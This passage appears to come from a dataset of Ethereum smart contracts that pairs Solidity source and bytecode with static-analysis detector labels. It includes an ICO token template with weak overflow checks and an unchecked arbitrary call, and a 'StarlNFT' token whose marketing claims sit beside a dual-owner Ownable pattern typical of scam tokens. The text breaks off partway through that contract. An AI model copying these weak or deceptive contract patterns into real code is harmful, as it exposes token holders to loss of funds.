} | 0x60606040526004361061017b5763ffffffff60e060020a600035041662923f9e81146101805780630562b9f7146101aa57806306fdde03146101c2578063095ea7b31461024c5780631051db341461026e57806313af4035146102815780631785f53c146102a057806318160ddd146102bf5780631fe8500e146102e457806323b872dd1461030357806324d7806c1461032b5780632a6dd48f1461034a5780632e4f43bf1461037c57806337525ff0146103cf578063442edd03146103e55780635435bac81461040a5780635a3f2672146104765780635ba9e48e146104955780636352211e146104ab57806365121205146104c157806370480275146104d757806370a08231146104f657806371dc761e14610515578063853828b6146105285780638f88aed01461053b57806395d89b411461058a578063a9059cbb1461059d578063af7520b9146105bf578063b9186d7d146105d5578063baddee6f146105eb578063d96a094a14610619578063e08503ec14610624575b600080fd5b341561018b57600080fd5b61019660043561063a565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101c060043561064f565b005b34156101cd57600080fd5b6101d56106a0565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102115780820151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561025757600080fd5b6101c0600160a060020a03600435166024356106e2565b341561027957600080fd5b610196610868565b341561028c57600080fd5b6101c0600160a060020a0360043516610878565b34156102ab57600080fd5b6101c0600160a060020a03600435166108c2565b34156102ca57600080fd5b6102d26108fe565b60405190815260200160405180910390f35b34156102ef57600080fd5b6101c0600160a060020a0360043516610904565b341561030e57600080fd5b6101c0600160a060020a036004358116906024351660443561094e565b341561033657600080fd5b610196600160a060020a036004351661099c565b341561035557600080fd5b6103606004356109ba565b604051600160a060020a03909116815260200160405180910390f35b341561038757600080fd5b6103926004356109d5565b6040518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390f35b34156103da57600080fd5b6101c0600435610a0e565b34156103f057600080fd5b6101c0600435602435600160a060020a0360443516610bf3565b341561041557600080fd5b610423600435602435610cd3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561046257808201518382015260200161044a565b505050509050019250505060405180910390f35b341561048157600080fd5b610423600160a060020a0360043516610d55565b34156104a057600080fd5b6102d2600435610e29565b34156104b657600080fd5b610360600435610e42565b34156104cc57600080fd5b6102d2600435610e5d565b34156104e257600080fd5b6101c0600160a060020a0360043516610f08565b341561050157600080fd5b6102d2600160a060020a0360043516610f4a565b341561052057600080fd5b6101c0610f9a565b341561053357600080fd5b6101c0610fdb565b341561054657600080fd5b6101c0600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061103195505050505050565b341561059557600080fd5b6101d5611132565b34156105a857600080fd5b6101c0600160a060020a0360043516602435611173565b34156105ca57600080fd5b6102d26004356111be565b34156105e057600080fd5b6102d26004356111d0565b34156105f657600080fd5b6101c0602460048035828101929101359035600160a060020a03604435166111e2565b6101c0600435611241565b341561062f57600080fd5b6102d2600435611441565b600080610646836111d0565b1190505b919050565b60005433600160a060020a0390811691161461066a57600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561069d57600080fd5b50565b6106a8611635565b60408051908101604052600e81527f43727970746f6e616d65732e6363000000000000000000000000000000000000602082015290505b90565b60025460a060020a900460ff1615156106fa57600080fd5b81600160a060020a031633600160a060020a03161415151561071b57600080fd5b6107248161063a565b151561072f57600080fd5b33600160a060020a031661074282610e42565b600160a060020a03161461075557600080fd5b600160a060020a03821615156107f0576000818152600b6020526040902054600160a060020a0316156107eb576000818152600b6020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916905533600160a060020a0316907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b610864565b6000818152600b602052604090819020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038581169182179092559133909116907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259084905190815260200160405180910390a35b5050565b60025460a060020a900460ff1690565b60005433600160a060020a0390811691161461089357600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146108dd57600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60075490565b60005433600160a060020a0390811691161461091f57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025460a060020a900460ff16151561096657600080fd5b33600160a060020a0316610979826109ba565b600160a060020a03161461098c57600080fd5b6109978383836114d9565b505050565b600160a060020a031660009081526001602052604090205460ff1690565b6000908152600b6020526040902054600160a060020a031690565b6000806000806109e485610e42565b6109ed866111be565b6109f6876111d0565b6109ff88610e29565b93509350935093509193509193565b60008054819033600160a060020a03908116911614610a2c57600080fd5b600254600160a060020a03161515610a4357600080fd5b600254600090600160a060020a0316636352211e8560405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610a8e57600080fd5b5af11515610a9b57600080fd5b50505060405180519050600160a060020a031614151515610abb57600080fd5b600254600090600160a060020a031663b9186d7d8560405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610b0657600080fd5b5af11515610b1357600080fd5b50505060405180519050111515610b2957600080fd5b600254600160a060020a031663b9186d7d8460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610b7157600080fd5b5af11515610b7e57600080fd5b5050506040518051600254909350600160a060020a03169050636352211e8460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610bd357600080fd5b5af11515610be057600080fd5b5050506040518051905090506109978383835b600160a060020a03331660009081526001602052604090205460ff161515610c1a57600080fd5b60008211610c2757600080fd5b6000838152600a602052604090205415610c4057600080fd5b600083815260086020526040902054600160a060020a031615610c6257600080fd5b6000838152600860209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038616179055600a8252808320859055600990915290208290556007805460018101610cbf8382611647565b506000918252602090912001929092555050565b610cdb611635565b610ce3611635565b600083604051805910610cf35750595b90808252806020026020018201604052509150600090505b83811015610d4d5760078054868301908110610d2357fe5b906000526020600020900154828281518110610d3b57fe5b60209081029091010152600101610d0b565b509392505050565b610d5d611635565b610d65611635565b600080610d7185610f4a565b604051805910610d7e5750595b9080825280602002602001820160405250925060009150600090505b600754811015610e205784600160a060020a0316610dd1600783815481101515610dc057fe5b906000526020600020900154610e42565b600160a060020a03161415610e18576007805482908110610dee57fe5b906000526020600020900154838381518110610e0657fe5b60209081029091010152600191909101905b600101610d9a565b50909392505050565b6000610e3c610e37836111d0565b611441565b92915050565b600090815260086020526040902054600160a060020a031690565b6000600354821015610e9257610e8b6064610e7f84600563ffffffff6115d216565b9063ffffffff61160416565b905061064a565b600454821015610eb257610e8b6064610e7f84600463ffffffff6115d216565b600554821015610ed257610e8b6064610e7f84600363ffffffff6115d216565b600654821015610ef257610e8b6064610e7f84600363ffffffff6115d216565b610e8b6064610e7f84600263ffffffff6115d216565b60005433600160a060020a03908116911614610f2357600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b600080805b600754811015610f935783600160a060020a0316610f75600783815481101515610dc057fe5b600160a060020a03161415610f8b576001909101905b600101610f4f565b5092915050565b60005433600160a060020a03908116911614610fb557600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b60005433600160a060020a03908116911614610ff657600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561102f57600080fd5b565b6000805433600160a060020a0390811691161461104d57600080fd5b5060005b8151811015610864576000600a600084848151811061106c57fe5b9060200190602002015181526020019081526020016000205411806111025750600254600160a060020a031663b9186d7d8383815181106110a957fe5b9060200190602002015160405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156110e957600080fd5b5af115156110f657600080fd5b50505060405180511590505b1561110c5761112a565b61112a82828151811061111b57fe5b90602001906020020151610a0e565b600101611051565b61113a611635565b60408051908101604052600381527f434e5300000000000000000000000000000000000000000000000000000000006020820152905090565b60025460a060020a900460ff16151561118b57600080fd5b61119481610e42565b600160a060020a031633600160a060020a03161415156111b357600080fd5b6108643383836114d9565b60009081526009602052604090205490565b6000908152600a602052604090205490565b600160a060020a03331660009081526001602052604081205460ff16151561120957600080fd5b5060005b8381101561123a5761123285858381811061122457fe5b905060200201358484610bf3565b60010161120d565b5050505050565b600080600080600080611253876111d0565b1161125d57600080fd5b600061126887610e42565b600160a060020a0316141561127c57600080fd5b611285866111d0565b34101561129157600080fd5b33600160a060020a03166112a487610e42565b600160a060020a031614156112b857600080fd5b6112c13361161b565b156112cb57600080fd5b33600160a060020a031615156112e057600080fd5b6112e986610e42565b94503393506112f7866111d0565b9250611309348463ffffffff61162316565b91506113168585886114d9565b61131f86610e29565b600a60008881526020019081526020016000208190555083600160a060020a0316867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c21590408560405190815260200160405180910390a384600160a060020a0316867f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d78560405190815260200160405180910390a36113bb83610e5d565b9050600160a060020a0385166108fc6113da858463ffffffff61162316565b9081150290604051600060405180830381858888f1935050505015156113ff57600080fd5b600082111561143957600160a060020a03841682156108fc0283604051600060405180830381858888f19350505050151561143957600080fd5b505050505050565b600060035482101561146357610e8b605f610e7f8460c863ffffffff6115d216565b60045482101561148357610e8b6060610e7f84608763ffffffff6115d216565b6005548210156114a357610e8b6061610e7f84607d63ffffffff6115d216565b6006548210156114c357610e8b6061610e7f84607563ffffffff6115d216565b610e8b6062610e7f84607363ffffffff6115d216565b6114e28161063a565b15156114ed57600080fd5b82600160a060020a031661150082610e42565b600160a060020a03161461151357600080fd5b600160a060020a038216151561152857600080fd5b30600160a060020a031682600160a060020a03161415151561154957600080fd5b60008181526008602090815260408083208054600160a060020a0380881673ffffffffffffffffffffffffffffffffffffffff199283168117909355600b909452938290208054909416909355908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a3505050565b6000808315156115e55760009150610f93565b508282028284828115156115f557fe5b04146115fd57fe5b9392505050565b600080828481151561161257fe5b04949350505050565b6000903b1190565b60008282111561162f57fe5b50900390565b60206040519081016040526000815290565b815481835581811511610997576000838152602090206109979181019083016106df91905b80821115611680576000815560010161166c565b50905600a165627a7a723058208fac462c695bf380addab4d47712d40f71bbdccd2d5ba1fbf74083510624eaa30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 915 |
0xe1e70407c8cdb588425fe7736e30df139110949f | pragma solidity ^0.4.23;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract BitcoinProtocol is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function BitcoinProtocol() {
balances[msg.sender] = 21000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 21000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "Bitcoin Protocol"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "BTP"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 10000000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/**
* @dev Batch transfer some tokens to some addresses, address and value is one-on-one.
* @param _dests Array of addresses
* @param _values Array of transfer tokens number
*/
function batchTransfer(address[] _dests, uint256[] _values) public {
require(_dests.length == _values.length);
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _values[i]);
i += 1;
}
}
/**
* @dev Batch transfer equal tokens amout to some addresses
* @param _dests Array of addresses
* @param _value Number of transfer tokens amount
*/
function batchTransferSingleValue(address[] _dests, uint256 _value) public {
uint256 i = 0;
while (i < _dests.length) {
transfer(_dests[i], _value);
i += 1;
}
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146103a6578063095ea7b31461043657806318160ddd1461049b5780632194f3a2146104c657806323b872dd1461051d578063313ce567146105a257806354fd4d50146105d357806365f2bc2e1461066357806370a082311461068e57806388d695b2146106e55780638fa1ae051461078e578063933ba413146107fe57806395d89b4114610829578063a9059cbb146108b9578063cae9ca511461091e578063dd62ed3e146109c9575b600034600854016008819055506007543402905080600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561016957600080fd5b80600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156103a2573d6000803e3d6000fd5b5050005b3480156103b257600080fd5b506103bb610a40565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fb5780820151818401526020810190506103e0565b50505050905090810190601f1680156104285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044257600080fd5b50610481600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ade565b604051808215151515815260200191505060405180910390f35b3480156104a757600080fd5b506104b0610bd0565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b506104db610bd6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052957600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfc565b604051808215151515815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7610e75565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105df57600080fd5b506105e8610e88565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062857808201518184015260208101905061060d565b50505050905090810190601f1680156106555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066f57600080fd5b50610678610f26565b6040518082815260200191505060405180910390f35b34801561069a57600080fd5b506106cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2c565b6040518082815260200191505060405180910390f35b3480156106f157600080fd5b5061078c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610f74565b005b34801561079a57600080fd5b506107fc6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050610fdd565b005b34801561080a57600080fd5b5061081361101e565b6040518082815260200191505060405180910390f35b34801561083557600080fd5b5061083e611024565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087e578082015181840152602081019050610863565b50505050905090810190601f1680156108ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c557600080fd5b50610904600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c2565b604051808215151515815260200191505060405180910390f35b34801561092a57600080fd5b506109af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611228565b604051808215151515815260200191505060405180910390f35b3480156109d557600080fd5b50610a2a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114c5565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad65780601f10610aab57610100808354040283529160200191610ad6565b820191906000526020600020905b815481529060010190602001808311610ab957829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610cc8575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610cd45750600082115b15610e6957816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610e6e565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1e5780601f10610ef357610100808354040283529160200191610f1e565b820191906000526020600020905b815481529060010190602001808311610f0157829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600081518351141515610f8657600080fd5b600090505b8251811015610fd857610fcc8382815181101515610fa557fe5b906020019060200201518383815181101515610fbd57fe5b906020019060200201516110c2565b50600181019050610f8b565b505050565b60008090505b82518110156110195761100d8382815181101515610ffd57fe5b90602001906020020151836110c2565b50600181019050610fe3565b505050565b60085481565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110ba5780601f1061108f576101008083540402835291602001916110ba565b820191906000526020600020905b81548152906001019060200180831161109d57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156111125750600082115b1561121d57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611222565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b8381101561146957808201518184015260208101905061144e565b50505050905090810190601f1680156114965780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156114ba57600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582013be11ee389d6a5a7d28c770a0fccc51e7a11a87bd07c4f9d686e0578f615ab40029 | {"success": true, "error": null, "results": {}} | 916 |
0x56fa32f5b5889d5fae0db377947d10b8242055c0 | /**
*Submitted for verification at Etherscan.io on 2021-09-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
/**
Mars | $Mars
*Submitted for verification at Etherscan.io on 2021-07-29
*/
/**
StarlNFT | $StarlNFT
* Fair launch, no dev tokens!
* Fair trade, no reserve, No buy/sell limts and no transaction fees!
* Total Supply: 100000000000
* Burn: 70%
* Add Liquidity: 30%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
